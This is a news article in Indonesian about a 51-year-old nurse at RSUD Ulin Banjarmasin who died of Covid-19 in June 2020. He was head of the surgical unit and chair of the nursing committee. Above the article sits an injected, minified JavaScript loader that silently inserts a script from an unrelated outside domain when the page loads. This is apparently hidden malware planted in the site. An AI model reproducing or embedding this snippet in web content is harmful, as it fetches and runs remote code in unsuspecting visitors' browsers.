(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kalimantan Selatan

Satu Tenaga Medis RSUD Ulin Banjarmasin Gugur “Melawan Covid-19”

KANALKALIMANTAN.COM, BANJARMASIN – Di tengah perjuangan melawan Covid-19, kabar duka kembali menyelimuti dunia medis di Kalimantan Selatan. Dimana, salah seorang perawat di RSUD Ulin Banjarmasin meninggal dunia pada Kamis (25/6/2020).

Perawat yang diketahui berjenis kelamin laki-laki tersebut menghembuskan nafas terakhir dalam usia 51 tahun sekitar pukul 02.10 Wita. Almarhum sendiri sebelumnya dirawat di ruang ICU Covid-19 Mawar Lantai 1 RSUD Ulin Banjarmasin.

Kabar menyedihkan itu pun diungkapkan Juru Bicara Gugus Tugas Percepatan Penanganan (GTPP) Covid-19 Kota Banjarmasin Dr Machli Riyadi. Menurut Machli, perawat ini diketahui positif Covid-19 dan sempat menjalani perawatan di ruang isolasi RSUD Ulin Banjarmasin.

“Seorang perawat meninggal dunia karena Covid-19. Semoga Allah mengampuni dosa dan menerimanya sebagai penghuni surga,” ungkap Machli, Kamis (25/6/2020).

Almarhum juga diketahui merupakan Kepala Ruangan Instalasi Bedah Sentral (IBS). Disamping itu, almarhum juga menjabat sebagai Ketua Komite Keperawatan RSUD Ulin Banjarmasin, dan anggota Perhimpunan Perawat Nasional Indonesia (PPNI). (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie